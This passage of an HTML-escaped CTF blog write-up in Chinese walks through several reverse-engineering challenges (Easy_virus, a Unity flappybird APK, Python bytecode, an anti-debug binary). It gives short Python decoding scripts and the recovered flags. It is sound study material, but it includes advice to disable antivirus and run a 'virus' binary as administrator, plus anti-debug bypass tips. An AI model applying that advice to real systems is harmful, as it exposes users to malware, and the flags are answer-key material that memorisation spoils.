&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;: x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span&gt;y, a, th1s)))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;easy-virus&quot;&gt;Easy_virus&lt;&#x2F;h1&gt;
&lt;p&gt;文件: Windows的DLL和PE好难.exe&lt;&#x2F;p&gt;
&lt;p&gt;提醒:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;一定要关杀毒！！！&lt;&#x2F;li&gt;
&lt;li&gt;文件不要有中文名&lt;&#x2F;li&gt;
&lt;li&gt;要以管理员身份运行&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;上来就发现一个很可疑的函数&lt;code&gt;sub_401200&lt;&#x2F;code&gt;，8000行的mov指令，之后就是写文件的操作。动调一下发现文件在&lt;code&gt;C:\SYC_DLL.dll&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;Easy_virus_0.png&quot; alt=&quot;Easy_virus_0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以管理员身份运行得到那个文件。直接IDA打开发现只能以二进制文件打开。需要修复一下文件头。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;Easy_virus_1.png&quot; alt=&quot;Easy_virus_1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;IDA打开，找到关键函数，只做了一个简单的字符串拼接，因为是在栈里直接拼接、传参，所以字符是倒序，用&lt;code&gt;python&lt;&#x2F;code&gt;简单拼接一下就行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;Easy_virus_2.png&quot; alt=&quot;Easy_virus_2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;odoG_era_uoY{CYS&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;niWf&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;swod&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;}&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fei-xiang-de-liu-zhuang&quot;&gt;飞翔的刘壮&lt;&#x2F;h1&gt;
&lt;p&gt;文件: flappybird.apk&lt;&#x2F;p&gt;
&lt;p&gt;这道本来是一道Misc题，但逆向也十分容易。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;apktool&lt;&#x2F;code&gt;解压，看出是一个&lt;code&gt;unity&lt;&#x2F;code&gt;小游戏，一般来说&lt;code&gt;unity&lt;&#x2F;code&gt;的主要逻辑文件在&lt;code&gt;assets\bin\Data\Managed\Assembly-CSharp.dll&lt;&#x2F;code&gt;。用&lt;code&gt;dnSpy&lt;&#x2F;code&gt;打开，找到&lt;code&gt;flag&lt;&#x2F;code&gt;附近，加密算法就是ascii码加一。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;flappybird.png&quot; alt=&quot;flappybird&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;RXBzek3ooxa0qc^0r^r&#x2F;^hmsdq2shm8 |&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.join([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(x)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;a]))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;plain-snake&quot;&gt;plain_snake&lt;&#x2F;h1&gt;
&lt;p&gt;文件: plain_snake.txt&lt;&#x2F;p&gt;
&lt;p&gt;python字节码比汇编容易多了。&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，主要的加密算法在&lt;code&gt;fn2&lt;&#x2F;code&gt;函数。稍微分析一下可以得到一下代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;fn1&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;  s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(s.decode())
&lt;&#x2F;span&gt;&lt;span&gt;  s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;: x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;83&lt;&#x2F;span&gt;&lt;span&gt;,s)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(s),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;],s[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;s[i],s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    s[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;89
&lt;&#x2F;span&gt;&lt;span&gt;    s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;67
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;s.encode()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再送到&lt;code&gt;check&lt;&#x2F;code&gt;函数检查&lt;code&gt;base64&lt;&#x2F;code&gt;是否正确。&lt;&#x2F;p&gt;
&lt;p&gt;exp:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;base64
&lt;&#x2F;span&gt;&lt;span&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(base64.b64decode(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c0BiZGQgSU9kJEhPVXU5RH5ofk9lIA==&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(b),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    b[i],b[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;b[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;67&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;83&lt;&#x2F;span&gt;&lt;span&gt;,b[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;89&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;83
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;SYC{&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(b),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;utf-8&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;baby-re&quot;&gt;baby_re&lt;&#x2F;h1&gt;
&lt;p&gt;文件: baby_re&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;baby_re_0.png&quot; alt=&quot;baby_re_0&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;程序会根据是否在调试生成不同的值，干扰正常加密。可以在图中位置打上断点，先运行然后attach上去，就可以绕过了。就可以很轻松的将正确的&lt;code&gt;v24&lt;&#x2F;code&gt;的值导出。&lt;&#x2F;p&gt;
&lt;p&gt;加密函数比较容易，基本复制一下就行了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11re&#x2F;.&#x2F;baby_re_1.png&quot; alt=&quot;baby_re_1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;a1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x29&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x89&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x62&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x82&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x50&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x51&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x31&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x25&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x34&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x71&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x84&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x74&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x21&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x98&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x37&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x28&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x65&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x63&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x99&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x73&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x09&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x43&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x05&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x77&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x88&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x78&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x03&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x64&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x13&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBD&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCD&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x67&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x38&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x14&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x87&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x02&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x79&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x57&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span 